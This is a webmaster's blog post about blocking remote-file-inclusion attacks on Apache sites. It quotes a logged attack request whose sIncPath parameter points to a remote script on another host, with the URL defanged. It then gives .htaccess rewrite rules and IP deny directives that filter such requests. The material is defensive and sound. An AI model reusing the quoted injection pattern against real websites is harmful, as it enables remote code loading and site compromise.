Block server script injection exploits targeting your websites
Server exploits abound!
Enough is enough already! It's bad enough that I have to fend off the occasional exploit attempt against my main website, but 24 in one day, from the same IP address is something I can't ignore, and neither should anybody else who maintains a website. That IP address is 212.241.182.240, which is a dedicated server that belongs to Pipex Dedicated Hosting (and associates), in Great Britain (See Whois report). This is an exploited server and it is hostile to other servers and websites!
Here is a sample of just one of the many attacks launched by this server, against mine (I deactivated the hyperlink to the hostile script, substituting an * for a t):
212.241.182.240 - - [01/Feb/2009:02:44:23 -0800] "GET /?sIncPath=ht*p://kadin.or.id/mail/id1.txt?? HTTP/1.1" 403 137 "-" "Mozilla/5.0"
What's this all about, you ask? It's about somebody who is leasing a dedicated server and either knowingly or unknowingly using it to blast out hostile exploitation scripts against other servers. This exploit is trying to upload a file named id1.txt into my website, via some vulnerability in a script that might be running on it (didn't happen - see the 403 response). Normally I wouldn't even assume that the people leasing the server had any knowledge of such goings on, but this time something is different. In just about every other instance of script injection attempts, when I trace the IP to a server and try to access it, I usually see one of the following responses:
- A website's home page (index.html, index.php, etc.)
- A "Welcome to Apache" screen, for a new website on an Apache server
- A Welcome to cPanel or WHM screen
- A welcome screen for an unconfigured website hosted on a Windows IIS server
- A 403 Forbidden message (someone doesn't want me poking around)
- A message that no website has yet been configured on the server
Today, when I went to investigate the IP address that was spewing out 24 exploit attempts in one day, instead of one of the above listed typical responses, all I saw was a login field, requesting a user name and password. This is a password protected website and it is being used to exploit other websites and web servers. Nobody can access any of it's pages, or inject hostile scripts into it without logging in with the correct credentials. Maybe this server used a weak password and user name combination that was cracked with a dictionary or rainbow attack, or maybe the administrator was tricked into allowing a keylogger to infect his or her personal computer (used to login to his/her website), or maybe the owner is knowingly using this server to launch exploit attacks against other servers, like mine.
Whatever the case may be, this server is out to get us and if you run a website you may want to block it for your website's protection. I will give you several methods of denying access to this server and others launching similar exploits, in my extended comments.
How to block exploit injection attacks targeting your websites.
My websites are all hosted on an Apache web server, owned by a commercial web hosting company. Apache is the most widely deployed web server on the planet. Others include Microsoft Windows IIS servers, FreeBSB, Mac Server, Java Servers, Tomcat and a variety of lesser servers. The biggest differences between these servers is how one controls access to them. If your website is hosted on a Windows IIS Server, please contact your host or administrator for details on how to add unwanted IP addresses to the website's access control file.
In the case of dedicated, semi-dedicated, or VPS Apache type servers, running on Linux operating systems, anybody with "Root" access can install a special script that includes IP addresses that are included in an "APF" firewall rule. This is known as an "iptables firewall" and I happen to publish several blocklists in iptables format. One of those blocklists is the Iptables Exploited Servers Blocklist. By importing this file into the APF Firewall (your server administrator should know how to do this) you can deny all access to your server from other exploited servers. Ditto for the other blocklists I publish that contain Chinese, Korean, Russian and Nigerian IPs and CIDRs. Apply one or all of those blocklists and any IP covered by the ranges in the lists will be unable to access anything on your server. In fact, the server won't even respond to the requests. They go directly to the "bitbucket" (send to "null void," blackhole the request).
The above solution is only good for those who have total administrative control over a server. However, the majority of websites are hosted on "shared" servers, where numerous clients share the same operating system, hard drives, RAM and Database server. You (and I) have no control over the firewall that may or may not be in place to protect the server box you are hosted on. So, in order to control (deny) access to our individual websites we have to apply user allowed access controls. In the case of Apache servers these controls are applied via a special file named .htaccess. Note, that the file name has no prefix; it begins with a period. Files beginning with a period have a special meaning to web servers and may be hidden by default by FTP programs and sometimes by web file managers. If your website has a .htaccess file , but you cannot see it when you login to your control panel, or FTP program, you will have to unhide it. In FTP programs this is done by inputting the "file mask" -al. If you use a file manager there may be a link to display hidden files on the server (ask your web host).
If you have access to and permission to customize your .htaccess file (most hosting companies allow this now), you can download the existing file from your web server to your hard drive, then open it in Notepad, or your html editor, or whatever plain text editor you have installed. The file will contain text that is either a comment or a "directive." All of the items listed in .htaccess files are typed in plain text, with no special characters. Comments are preceded by # signs and are not interpreted. Comments should be on their own lines and not appended to directives. Directives are interpreted and must adhere to a specific form recognized by your Apache server software. One mistake in your typing can cause the server to stop responding and yield the dreaded Server 500 error. If you neglect the leading # sign before a text comment it will cause a 500 error, as Apache does not understand your comments (only codes it knows about). Always save a backup of the last working .htaccess file before making any changes. You will need it every now and then!
With these things in mind, lets proceed to some actual .htaccess codes that will deny access to anybody who launches a script injection script attack against your website.
One way to deny access is by copying the directives in one or more of my .htaccess blocklists and pasting them into your .htaccess file. Make sure you backup the previous file before saving the changed version. If you make a mistake, or your flavor of Apache doesn't like some of the codes, you will need to restore your old .htaccess immediately, from the backup file. There are a couple of ways to backup the existing file, including opening it in your text editor (Notepad is preferred) and Save As ".htaccess.txt" or similar, or renaming the existing file on the server to .htaccess1 (2, 3, etc), then upload the changed file. Go to one of your web pages immediately and ensure that it loads properly. If you get a 403 Forbidden message, or a Server 500 Error, undo the changes ASAP, by restoring the original file as .htaccess.
Alright, now that you know what to watch for in the errors department, here are some directives that will block not only IP addresses, but also bad behavior. The following directives are the ones I use to block script injection exploits, in my .htaccess file. Test these directives to ensure that they don't break any scripts you are using. Use them at your own risk, but be ready to restore your previous file if these directives cause a server hiccup!
RewriteCond %{HTTP_USER_AGENT} ^libwww-perl/
RewriteRule .* - [F]
RewriteCond %{QUERY_STRING} DOCUMENT_ROOT [OR]
RewriteCond %{QUERY_STRING} .*=http.+ [NC,OR]
RewriteCond %{REQUEST_URI} %3C/scripts/.+\.php%3E [OR]
RewriteCond %{HTTP_REFERER} ^<script>window\.open.+$ [NC]
RewriteRule .* - [F]
Those are the safest all around directives I can publish in good conscience. There are other directives I use, but they might cause harm to some websites if they use the particular scripts that I block. The main item that is important in the above directives if the one that has a QUERY_STRING that includes (anything)=http(anything). That is how the majority of exploits are scripted. They are trying to upload a hostile file from another website into yours, via an unpatched, vulnerable html, php or asp extension page, or by breaking into an include file that is included in other files.
As for the IP address that started this article, here is how to block it: Pay careful attention to the "order" directive format, or else (500)!
<Files>
order deny,allow
deny from 212.241.182.240
# other IP addresses to "deny from" - like my exploited servers blocklist
# IP addresses to specifically allow, like the following example, just in case:
# Allow Google
allow from 64.68.80.0/21 64.233.160.0/19 66.249.64.0/19 72.14.192.0/18
</Files>
In the Files section shown above the "order" sequence dictates that "deny" items are processed first and "allow" items are processed last, with "allow" being the default action if nothing else is specified. Thus, if you do not specifically block an IP address it will be allowed by the "order deny,allow" directive. The allowed items are only needed to be sure that they are not blocked accidentally, when including a long blocklist of IP addresses and CIDR ranges. Note, the space after the word "order" but there are no spaces between "deny,allow" - this is vitally important syntax! order deny,allow
All of my .htaccess blocklist pages have complete directives sections ready for you to drop in to your .htaccess file as is, or, take the deny from lines as you need them and paste them in where you want them to go. Always test before deploying changes to your Apache website's .htaccess file!
If you like this article please share it.
The content on this blog may be reprinted provided you do not modify the content and that you give credit to Wizcrafts and provide a link back to the blog home page, or individual blog articles you wish to reprint. Commercial use, or derivative work requires written permission from the author.